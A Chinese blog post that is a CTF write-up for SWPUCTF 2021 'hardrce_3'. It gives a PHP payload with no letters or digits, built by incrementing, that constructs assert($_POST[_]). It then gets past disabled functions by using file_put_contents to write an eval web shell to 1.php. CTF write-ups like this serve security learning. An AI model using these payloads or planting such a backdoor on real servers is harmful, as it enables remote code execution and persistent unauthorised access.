[SWPUCTF 2021 新生赛]hardrce_3

最新推荐文章于 2025-06-27 14:16:11 发布

ha0cker

最新推荐文章于 2025-06-27 14:16:11 发布

阅读量1.9k

点赞数

CC 4.0 BY-SA版权

文章标签： php 开发语言 web安全

本文链接：https://blog.csdn.net/m0_70819573/article/details/129480547

文章讲述了在对PHP代码进行审计时，如何在特定约束条件下（如禁止异或、取反及字母数字使用）构造自增payload来执行预期操作。示例中展示了如何在disabled_function禁用了多个函数后，利用file_put_contents函数进行绕过，创建了一个可接收外部输入并执行的后门。文章还提到了无字母数字的正则表达式绕过策略。

1.打开环境，审计代码。

逻辑本身不是很复杂，就是不准异或取反，且不能有字母数字，所以考虑用自增。

payload:

//测试发现7.0.12以上版本不可使用
//使用时需要url编码下
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
固定格式 构造出来的 assert($_POST[_]);
然后post传入   _=phpinfo();

disabled_function禁用了很多函数（system,exec等)，但可以用file_put_contents函数绕过

_=file_put_contents('1.php','<?php eval($_POST['aa']);?>');

知识拓展：

1.无字母数字绕过正则表达式总结（含上传临时文件、异或、或、取反、自增脚本）